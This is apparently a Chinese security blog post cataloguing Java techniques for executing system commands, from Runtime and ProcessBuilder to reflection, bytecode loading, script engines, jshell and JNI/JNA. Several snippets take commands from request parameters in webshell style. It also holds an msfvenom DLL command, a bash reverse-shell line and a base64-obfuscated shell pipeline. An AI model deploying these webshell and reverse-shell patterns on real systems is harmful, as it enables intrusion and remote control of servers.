文章

Java 执行命令的几种方法

在 Java 中可用于执行系统命令的 API 有:

  • java.lang.Runtime
  • java.lang.ProcessBuilder
  • java.lang.UNIXProcess/ProcessImpl

其它 Java 实现执行命令的方式,都是间接或直接使用这几个 API 来实现的。(JNI 除外)

Runtime

1
Runtime.getRuntime().exec("calc");

根据不同的操作系统给定不同的命令执行程序:

1
2
3
4
5
6
7
8
9
10
11
12
String os = System.getProperty("os.name");
System.out.println("Operating System: " + os);
Process process = null;
if (os.toLowerCase().startsWith("windows")) {
    process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", req.getParameter("cmd")});
} else if (os.toLowerCase().startsWith("linux")) {
    process = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", req.getParameter("cmd")});
} else if (os.toLowerCase().startsWith("mac")) {
    process = Runtime.getRuntime().exec(new String[]{"bash", "-c", req.getParameter("cmd")});
} else {
    process = Runtime.getRuntime().exec(req.getParameter("cmd").split("\\s+"));
}

java.lang.Runtime 类还提供了 load() 方法,用于加载外部库文件(linux: .so; windows: .dll),也可以利用该方法执行命令。

1
msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f dll -o calc.dll
1
java.lang.Runtime.getRuntime().load("C:\\calc.dll");

ProcessBuilder

Runtime 的内部实现其实就是用的 ProcessBuilder

创建 ProcessBuilder 类实例,指定程序名称和传入参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ProcessBuilder builder = new ProcessBuilder();
// 设置合并标准错误与标准输出流 (正常和错误结果都通过 getInputStream 读取)
builder.redirectErrorStream(true);
Process process = builder.command("whoami", "/priv").start();
// 读取回显内容
InputStream inputStream = process.getInputStream();
BufferedInputStream bis = new BufferedInputStream(inputStream);
ByteArrayOutputStream buf = new ByteArrayOutputStream();
int result = bis.read();
while(result != -1) {
    buf.write((byte) result);
    result = bis.read();
}
System.out.println(buf);

ProcessImpl/UnixProcess

Java 在 JDK9 中将 UNIXProcess 合并到 ProcessImpl 中,简化了 UnixProcess 实现的源文件。

Windows 系统中的 JDK 没有 java.lang.UNIXProcess 类,Windows 使用的是 java.lang.ProcessImpl 类。UNIXProcess 类仅存在于 Unix/Linux 版本的 JDK 中,位于 $openjdk_src_home/jdk/src/solaris/classes/java/lang 目录下。在编译的时候,会根据操作系统编译指定的 UNIXProcess.java 文件,并将其拷贝到 rt.jar 中,详情见 Makefile

ProcessImpl 是更为底层的实现,java.lang.ProcessBuilder#start() 执行命令实际上也是调用了 ProcessImpl 类。 ProcessImpl 其实就是最终调用 native 执行系统命令的类,这个类提供了一个叫 forkAndExec 的 native 方法,如方法名所述主要是通过 fork&exec 来执行本地系统命令。

ProcessImpl 类我们不能直接调用(构造器 private),需要用反射的方式调用其静态方法 start() 来达到执行命令的目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
import java.util.Map;
import java.util.StringJoiner;

public class Main {

    public static void main(String[] args) throws Exception {
        String[] cmd = new String[]{"cmd", "/c", "who^a^m\"\"i"};
        System.out.println(nativeProcess(cmd));
    }

    /**
     * 使用 java.lang.ProcessImpl 执行命令
     *
     * @param cmdarray 要执行的命令数组     // request.getParameterValues("cmd")
     * @return {@link String}   反回命令执行的结果
     * @throws Exception 异常
     */
    public static String nativeProcess(String[] cmdarray) throws Exception {
        Class<?> clazz = null;
        // Reflecr UNIXProcess / ProcessImpl class
        try {
            clazz = Class.forName("java.lang.ProcessImpl");
        } catch (ClassNotFoundException e) {
            // java.lang.UNIXProcess 类只在 Linux 下的 JDK 才有
            clazz = Class.forName("java.lang.UNIXProcess");
        }
        Method start = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
        start.setAccessible(true);
        Process process = (Process) start.invoke(null, cmdarray, null, ".", null, true);   // ProcessImpl#start 方法的第三个参数 dir 表示: 进程的工作目录,如果从父进程继承当前目录,则为 null

        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "GBK"));
        StringJoiner sj = new StringJoiner("\n");
        String line;
        while ((line = bufferedReader.readLine()) != null) {
            sj.add(line);
        }
        bufferedReader.close();
        return sj.toString();
    }
}

如果在 Java 8 以上环境运行出错,增加启动参数:--add-opens java.base/java.lang=ALL-UNNAMED。从 Java 9 开始,默认情况下不允许应用程序查看来自 JDK 的所有类,需要使用--add-exports--add-opens配置参数。

ClassLoader

利用 ClassLoader 加载字节码来执行命令。

受 Java 版本影响严重。在加载字节码文件的时候,需要特别注意编译 class 文件的 JDK 版本。

写个能够命令执行的 Java 文件,将其编译成字节码文件。如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package org.example;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.StringJoiner;

public class Test {
    public static String exec(String command) throws IOException, InterruptedException {
        Process exec = Runtime.getRuntime().exec(command);
        InputStream inputStream = exec.getInputStream();
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream, "GBK"));
        StringJoiner sj = new StringJoiner("\n");
        String line;
        while ((line = bufferedReader.readLine()) != null) {
            sj.add(line);
        }
        bufferedReader.close();
        return String.valueOf(sj);
    }
}

加载 base64 后的字节码文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 先将 class 文件转成了 base64 编码后的字符串,方便使用
// 使用时只要像这样将 base64 字符串转回 byte[] 即可
byte[] evilBytes = Base64.getDecoder().decode("yv66vgAAADQAWwoAEgAxCgAyADMKADIANAoANQA2BwA3BwA4CAA5CgAGADoKAAUAOwcAPAgAPQoACgA+CgAFAD8KAAoAQAoABQBBCgBCAEMHAEQHAEUBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEkxvcmcvZXhhbXBsZS9UZXN0OwEABGV4ZWMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAB2NvbW1hbmQBABJMamF2YS9sYW5nL1N0cmluZzsBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQALaW5wdXRTdHJlYW0BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAA5idWZmZXJlZFJlYWRlcgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEAAnNqAQAYTGphdmEvdXRpbC9TdHJpbmdKb2luZXI7AQAEbGluZQEADVN0YWNrTWFwVGFibGUHAEYHAEcHAEgHADcHADwBAApFeGNlcHRpb25zBwBJBwBKAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQwAEwAUBwBLDABMAE0MABoATgcARwwATwBQAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIBAANHQksMABMAUQwAEwBSAQAWamF2YS91dGlsL1N0cmluZ0pvaW5lcgEAAQoMABMAUwwAVABVDABWAFcMAFgAFAcARgwAWQBaAQAQb3JnL2V4YW1wbGUvVGVzdAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAHmphdmEvbGFuZy9JbnRlcnJ1cHRlZEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBACooTGphdmEvaW8vSW5wdXRTdHJlYW07TGphdmEvbGFuZy9TdHJpbmc7KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAA2FkZAEAMihMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspTGphdmEvdXRpbC9TdHJpbmdKb2luZXI7AQAFY2xvc2UBAAd2YWx1ZU9mAQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZzsAIQARABIAAAAAAAIAAQATABQAAQAVAAAALwABAAEAAAAFKrcAAbEAAAACABYAAAAGAAEAAAAJABcAAAAMAAEAAAAFABgAGQAAAAkAGgAbAAIAFQAAAOUABgAGAAAASbgAAiq2AANMK7YABE27AAVZuwAGWSwSB7cACLcACU67AApZEgu3AAw6BC22AA1ZOgXGAA4ZBBkFtgAOV6f/7i22AA8ZBLgAELAAAAADABYAAAAiAAgAAAALAAgADAANAA0AHwAOACoAEAA0ABEAPwATAEMAFAAXAAAAPgAGAAAASQAcAB0AAAAIAEEAGgAeAAEADQA8AB8AIAACAB8AKgAhACIAAwAqAB8AIwAkAAQAMQAYACUAHQAFACYAAAAeAAL/ACoABQcAJwcAKAcAKQcAKgcAKwAA/AAUBwAnACwAAAAGAAIALQAuAAEALwAAAAIAMA==");
String cmd = "whoami";

// 自定义 ClassLoader
// 从 ClassLoader.class 获取 defineClass() 方法
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
// 这里将 {"org.example.Test", evilBytes, 0, evilBytes.length} 传入至 defineClass() 方法,获取到 "org.example.Test" 类的对象
// protected final Class<?> defineClass(byte[] b, int off, int len)
Class<?> clazz = (Class<?>) defineClass.invoke(ClassLoader.getSystemClassLoader(), "org.example.Test", evilBytes, 0, evilBytes.length);
Method method = clazz.getDeclaredMethod("exec", String.class);
method.setAccessible(true);
String result = (String) method.invoke(null, cmd);
System.out.println(result);

Script Engine

Script Engine 介绍

Script Engine 是从 JDK 6 开始添加的新功能。JSR 223中规范了在 Java 虚拟机上运行的脚本语言与 Java 程序之间的交互方式。目前 Java 虚拟机支持比较多的脚本语言,比较流行的有 JavaScript、Scala、JRuby、Jython 和 Groovy 等。

JavaScript Engine 的发展以及变化

JavaSE 6 中自带了 JavaScript 语言的脚本引擎,基于 Mozilla 的 Rhino 实现(Rhino 引擎还为 JavaScript 脚本提供了额外的方法,如:println 方法)。

Java 8 提供了下一代 JavaScript 引擎: Nashorn

JDK 15 里移除了 JavaScript Engine Nashorn,详情见:https://openjdk.org/jeps/372 。所以 JDK 15 及以上版本无法使用该方法了。

Nashorn 和 Rhino

JavaScript 和 ECMAScript 是与 JVM 捆绑在一起的默认 JavaScript 引擎的别名。

Java 8 开始使用 Nashorn 引擎,以前的版本都使用 Rhino 引擎。Nashorn 远快于 Rhino,因为它是将 JavaScript 编译成字节码,而不是在解释器模式下运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 确定系统上所有语言的脚本
ScriptEngineManager mgr = new ScriptEngineManager();
List<ScriptEngineFactory> factories = mgr.getEngineFactories();
for (ScriptEngineFactory factory : factories)
{
    System.out.println("ScriptEngineFactory Info");
    String engName = factory.getEngineName();
    String engVersion = factory.getEngineVersion();
    String langName = factory.getLanguageName();
    String langVersion = factory.getLanguageVersion();
    System.out.printf("\tScript Engine: %s (%s)\n", engName, engVersion);
    List<String> engNames = factory.getNames();
    for (String name : engNames)
    {
        System.out.printf("\tEngine Alias: %s\n", name);
    }
    System.out.printf("\tLanguage: %s (%s)\n", langName, langVersion);
}

JavaScript Engine 调用 Java 代码实现命令执行:

1
2
3
4
5
6
7
8
// 获得脚本引擎对象
ScriptEngineManager sem = new ScriptEngineManager();
ScriptEngine engine = sem.getEngineByName("javascript");
// 可以通过三种方式查找脚本引擎:
// 1.通过脚本名称获取 new ScriptEngineManager().getEngineByName("JavaScript");
// 2.通过文件扩展名获取 new ScriptEngineManager().getEngineByExtension("js");
// 3.通过MIME类型来获取 new ScriptEngineManager().getEngineByMimeType("text/javascript");
engine.eval("new java.lang.ProcessBuilder(\"calc\").start()");

最后说下 ECMAScript,它可以在 SVG 中使用 importPackage 导入包(java.lang 包也需要手动导入)并执行 Java 代码:

1
2
3
4
5
6
7
8
9
10
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
    <circle cx="50" cy="50" r="50" fill="green" onclick="showFrame()"/>
    <script type="text/ecmascript">
        importPackage(Packages.java.lang);
        Runtime.getRuntime().exec('open -a Calculator');
        function showFrame() {
            Runtime.getRuntime().exec('open -a Calculator');
        }
    </script>
</svg>

具体参考:https://xmlgraphics.apache.org/batik/using/scripting/ecmascript.html

导入 maven 依赖:

1
2
3
4
5
6
7
8
9
10
<dependency>
    <groupId>org.apache.xmlgraphics</groupId>
    <artifactId>batik-all</artifactId>
    <version>1.14</version>
</dependency>
<dependency>
    <groupId>org.mozilla</groupId>
    <artifactId>rhino</artifactId>
    <version>1.7.13</version>
</dependency>

Java 代码示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import org.apache.batik.anim.dom.SAXSVGDocumentFactory;
import org.apache.batik.swing.JSVGCanvas;
import org.apache.batik.util.XMLResourceDescriptor;
import org.w3c.dom.Document;

import javax.swing.*;
import java.awt.*;
import java.io.IOException;
import java.io.StringReader;
import java.nio.file.Files;
import java.nio.file.Paths;

public class SVGWithEcmascriptExample {
    public static void main(String[] args) throws IOException {

        // 读取 SVG 文件内容
        String filePath = "src/main/resources/example.svg"; // 更新为实际路径
        String svgContent = new String(Files.readAllBytes(Paths.get(filePath)), "UTF-8");

        // 创建一个框架来显示 SVG
        JFrame frame = new JFrame("SVG with ECMAScript Example");
        JSVGCanvas canvas = new JSVGCanvas();
        frame.getContentPane().add(canvas, BorderLayout.CENTER);

        // 解析 SVG 内容
        SAXSVGDocumentFactory factory = new SAXSVGDocumentFactory(XMLResourceDescriptor.getXMLParserClassName());
        Document doc = factory.createDocument(null, new StringReader(svgContent));

        // 将 SVG 设置到画布
        canvas.setDocument(doc);
        frame.pack();
        frame.setLocationRelativeTo(null);
        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        frame.setVisible(true);

    }
}

jshell

从 Java 9 开始提供了一个叫 jshell 的功能,jshell 是一个 REPL(Read-Eval-Print Loop) 命令行工具,提供了一个交互式命令行界面,其调用了 jdk.jshell.JShell 类的 eval 方法来执行 Java 代码片段,借助该方法可以方便地实现一句话木马,而不再需要将 Java 代码编译成 class 文件后执行了。

1
2
3
4
5
6
7
8
9
10
11
String command = "ipconfig";
jdk.jshell.JShell builder = jdk.jshell.JShell.builder().build();
String result = builder
        .eval("new String(Runtime.getRuntime().exec(\"" + command + "\").getInputStream().readAllBytes(), \"GBK\")")
        .get(0).value()
        .replaceAll("^\"", "").replaceAll("\"$", "");

// 将字符串版的系统换行符(\r\n) --转换成--> 转义字符版的系统换行符
String fmtResult = org.apache.commons.lang3.StringUtils.replace(result, org.apache.commons.text.StringEscapeUtils.escapeJava(System.lineSeparator()), System.lineSeparator());

System.out.println(fmtResult);

JNI/JNA

JNI

JNI(Java Native Interface, Java 本地接口)允许 Java 调用 C/C++ 代码,同时也允许在 C/C++ 中调用 Java 代码,是介于 Java 层和 Native 层的接口。可以通过 JNI 的方式调用动态链接库,在动态链接库中实现本地命令执行方法。

调用自己写的 native 方法的 Java 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example;

public class Main {

    static {
        System.load("C:/NativeDemo.dll");
    }

    public static native String exec(String cmd);

    public static void main(String[] args) {
        String r = Main.exec("whoami");
        System.out.println(r);
    }
}

生成所需的头文件,不同 JDK 版本略有不同。从 JDK 10 开始移除了 javah,改为使用 javac 加 -h 参数的方式生产头文件。

1
2
3
4
5
6
# jdk 8
javac -cp . Main.java
javah -d org/example/ -cp . org.example.Main

# jdk 10
javac -cp . Main.java -h NativeDemo

以 jdk 10 为例,此时 NativeDemo 目录下会生成对应的 .h 头文件,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class org_example_Main */

#ifndef _Included_org_example_Main
#define _Included_org_example_Main
#ifdef __cplusplus
extern "C" {
#endif
/*
 * Class:     org_example_Main
 * Method:    exec
 * Signature: (Ljava/lang/String;)Ljava/lang/String;
 */
JNIEXPORT jstring JNICALL Java_org_example_Main_exec
  (JNIEnv *, jclass, jstring);

#ifdef __cplusplus
}
#endif
#endif

在该目录下实现一个能够本地命令执行的动态链接库, cpp 文件源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <iostream>
#include <stdlib.h>
#include <cstring>
#include <string>
#include "org_example_Main.h"

using namespace std;

JNIEXPORT jstring

JNICALL Java_org_example_Main_exec
        (JNIEnv *env, jclass jclass, jstring str) {

    if (str != NULL) {
        jboolean jsCopy;
        // 将jstring参数转成char指针
        const char *cmd = env->GetStringUTFChars(str, &jsCopy);

        // 使用popen函数执行系统命令
        FILE *fd  = popen(cmd, "r");

        if (fd != NULL) {
            // 返回结果字符串
            string result;

            // 定义字符串数组
            char buf[128];

            // 读取popen函数的执行结果
            while (fgets(buf, sizeof(buf), fd) != NULL) {
                // 拼接读取到的结果到result
                result +=buf;
            }

            // 关闭popen
            pclose(fd);

            // 返回命令执行结果给Java
            return env->NewStringUTF(result.c_str());
        }

    }
    return NULL;
}

代码来自:https://www.javasec.org/javase/JNI/

Windows 编译命令:

1
C:\> x86_64-w64-mingw32-g++.exe -I"%JAVA_HOME%\include" -I"%JAVA_HOME%\include\win32" -shared -o NativeDemo.dll .\NativeDemo.cpp

现在运行代码就可以执行命令了。并且这种方式使用的是自己写的 native 方法,不依赖 Java 的 forkAndExec (native) 方法。

JNA

Java Native Access (JNA) 是建立在 JNI 技术之上的 Java 开源框架,它提供了一组 Java 工具类用于在运行期间动态访问的系统本地库。

JNA 使 Java 程序可以轻松访问本机共享库,而无需编写 Java 代码以外的任何内容 - 不需要 JNI 或本机代码。此功能可与 Windows 的 Platform/Invoke 和 Python 的 ctypes 相媲美。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import com.sun.jna.Library;
import com.sun.jna.Native;
import com.sun.jna.Platform;

import java.io.IOException;

public class JNAUtil {

    public static void main(String[] args) throws IOException {
        JNAUtil.exec("whoami");
    }

    public static void exec(String command) throws IOException {
        int exitCode = CLibrary.INSTANCE.system(command);
        if (exitCode != 0) {
            throw new IOException("Command '" + command + "' failed with exit code " + exitCode);
        }
    }

    private interface CLibrary extends Library {
        CLibrary INSTANCE = (CLibrary) Native.load((Platform.isWindows() ? "msvcrt" : "c"), CLibrary.class);

        int system(String cmd);
    }
}

Java 命令执行小技巧

在利用 java 执行系统命令的时候,可能会遇见的一些小问题

命令执行无效问题

在使用 Runtime.getRuntime().exec() 执行命令的时候经常会出现执行不成功的情况,其原因一般由于以下几点产生的:

  • 带有空格的参数可能会被 StringTokenizer 类破坏,该类会以空格为分隔符,将命令字符串分割为数组
  • 重定向和管道字符的使用方式在正在启动的进程的上下文中没有任何意义,会将其视为运行程序的参数值
  • 执行了 shell 的内置命令(built-in commands)。shell 内置命令是属于 shell 本身一部分的命令或函数,在 shell 中可以使用 help 命令查看所有的内置命令

跟踪梳理一下 Java 执行命令的整个过程,能更好的了解执行命令不成功的原因。

当运行 Runtime.getRuntime().exec("ls 'My Directory'"); 时,即传入 String 类型的值所调用的方法链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// ls 'My Directory'
public Process exec(String command) throws IOException {
    return exec(command, null, null);
}

// ls 'My Directory'
public Process exec(String command, String[] envp, File dir)
    throws IOException {
    if (command.length() == 0)
        throw new IllegalArgumentException("Empty command");

    StringTokenizer st = new StringTokenizer(command);
    String[] cmdarray = new String[st.countTokens()];
    for (int i = 0; st.hasMoreTokens(); i++)
        cmdarray[i] = st.nextToken();
    return exec(cmdarray, envp, dir);
}

// command 经过 StringTokenizer 处理后得到的 cmdarray
// ["ls", "'My", "Directory'"]
public Process exec(String[] cmdarray, String[] envp, File dir)
    throws IOException {
    return new ProcessBuilder(cmdarray)
        .environment(envp)
        .directory(dir)
        .start();
}

...

当运行 Runtime.getRuntime().exec(new String[]{"ls", "My Directory"}); 时;即传入 String[] 类型的值所调用的方法链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// ["ls", "My Directory"]
public Process exec(String cmdarray[]) throws IOException {
    return exec(cmdarray, null, null);
}

// ["ls", "My Directory"]
public Process exec(String[] cmdarray, String[] envp, File dir)
    throws IOException {
    return new ProcessBuilder(cmdarray)
        .environment(envp)
        .directory(dir)
        .start();
}

...

在 Runtime –> ProcessBuilder 的过程中发现:如果直接传递字符串,可能会因为 StringTokenizer 类将字符串分割成数组,而造成语意的改变。

在 ProcessBuilder 类的 start 方法中,会写将 cmdarray 中的第一个值 cmdarray[0] 作为要执行的程序。后续该方法其实 return 了 ProcessImpl.start 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// Must convert to array first -- a malicious user-supplied
// list might try to circumvent the security check.
String[] cmdarray = command.toArray(new String[command.size()]);
cmdarray = cmdarray.clone();

for (String arg : cmdarray)
    if (arg == null)
        throw new NullPointerException();
// Throws IndexOutOfBoundsException if command is empty
String prog = cmdarray[0];

SecurityManager security = System.getSecurityManager();
if (security != null)
    security.checkExec(prog);

...

return ProcessImpl.start(cmdarray,
        environment,
        dir,
        redirects,
        redirectErrorStream);

在 ProcessImpl 类的 start 方法中,会将 cmdarray 中除去第一个值以外的其它值(argBlock),作为程序的传入参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// Convert arguments to a contiguous block; it's easier to do
// memory management in Java than in C.
byte[][] args = new byte[cmdarray.length-1][];
int size = args.length; // For added NUL bytes
for (int i = 0; i < args.length; i++) {
    args[i] = cmdarray[i+1].getBytes();
    size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
    System.arraycopy(arg, 0, argBlock, i, arg.length);
    i += arg.length + 1;
    // No need to write NUL bytes explicitly
}

到此可以观察到:在命令执行中,数组的第一个值会被视为执行的程序,后续其它的值会被作为传入程序的参数。这也是为什么重定向和管道字符会失效或无意义的原因。

例:当传入命令 ls > 1.txt 时,本意是将 ls 命令的结果重定向保存到 1.txt 中;但直接传入该命令就会被解释成 ls ">" "1.txt",意思变成了使用 ls 命令查看 “>” 和 “1.txt” 目录。

有时在执行命令时,会提示未找到该程序,比如:在 Windows 环境中执行 dir/type/cd 等命令;在 Linux 环境中执行 eval 等命令。

这是由于,这些命令是“内置”到 shell 程序中的,不需要外部程序来运行该命令,也不需要创建新进程。这些命令并没有单独的可执行文件,在执行这些命令时,应当在 shell 中去使用,如:bash -c 'eval whoami'

以上所述问题的一般解决方案以及代码示例:

  1. 传入 String[],而不直接传入 String;并且在 String[] 中加入对应操作系统的 shell 来执行命令,如:bash -ccmd /c
  2. 借助 Base64 编码,对命令进行处理后,使管道和重定向可以生效,并且还确保参数中没有空格
1
2
3
4
5
6
7
// [X] Runtime.getRuntime().exec("ls 'My Directory'");
Runtime.getRuntime().exec(new String[]{"ls", "My Directory"});
Runtime.getRuntime().exec(new String[] { "bash", "-c", "bash -i >& /dev/tcp/127.0.0.1/1234 0>&1" });
// [X] Runtime.getRuntime().exec("eval whoami");
Runtime.getRuntime().exec(new String[] { "bash", "-c", "eval whoami" });
// base64
Runtime.getRuntime().exec("bash -c {echo,ZXZhbCB3aG9hbWk=}|{base64,-d}|{bash,-i}");

字符编码问题

在 Java 中不同的方式获取到的字符编码可能会有所不同。与字符编码相关的 Java 系统属性有以下几种:

System PropertyDescription
sun.jnu.encoding该属性的值是 java.nio.file 在实现编码或解码文件名路径时使用的字符集名称(不是文件内容)
native.encoding提供底层主机环境的字符编码名称
file.encoding用于文件内容的编码和解码
sun.stdout.encoding & sun.stderr.encoding用于标准输出流 (System.out) 和标准错误流 (System.err) 以及 java.io.Console API 中使用的字符集名称

注: native.encoding 属性从 JDK 17 开始存在,详情见:https://bugs.openjdk.org/browse/JDK-8266075

在 Windows 终端中输出这些字符集编码相关的属性值:

1
2
3
4
5
6
7
8
9
Java Runtime version 19+36-2238
---------------------------------------------------------
Charset.defaultCharset()                  = UTF-8
System.getProperty("file.encoding")       = UTF-8
System.getProperty("native.encoding")     = GBK
System.getProperty("sun.jnu.encoding")    = GBK
System.getProperty("sun.stdout.encoding") = null
System.getProperty("sun.stderr.encoding") = null
System.console().charset()                = x-mswin-936

注:Charset.defaultCharset() 方法是获取 file.encoding 属性值,如果获取到的字符集不支持,则设置为 UTF-8。

可以通过获取 sun.jnu.encoding 属性来保持与操作系统字符编码一致,这样在执行系统命令的时候就不会乱码了:

1
2
String jnuEncoding = System.getProperty("sun.jnu.encoding");
System.out.println(jnuEncoding);

关于 Java 的字符编码,想了解更多推荐查看这篇文章:https://medium.com/@andbin/jdk-18-and-the-utf-8-as-default-charset-8451df737f90

本文由作者按照 CC BY 4.0 进行授权

© h0ny. 保留部分权利。

本站由 Jekyll 生成,采用 Chirpy 主题。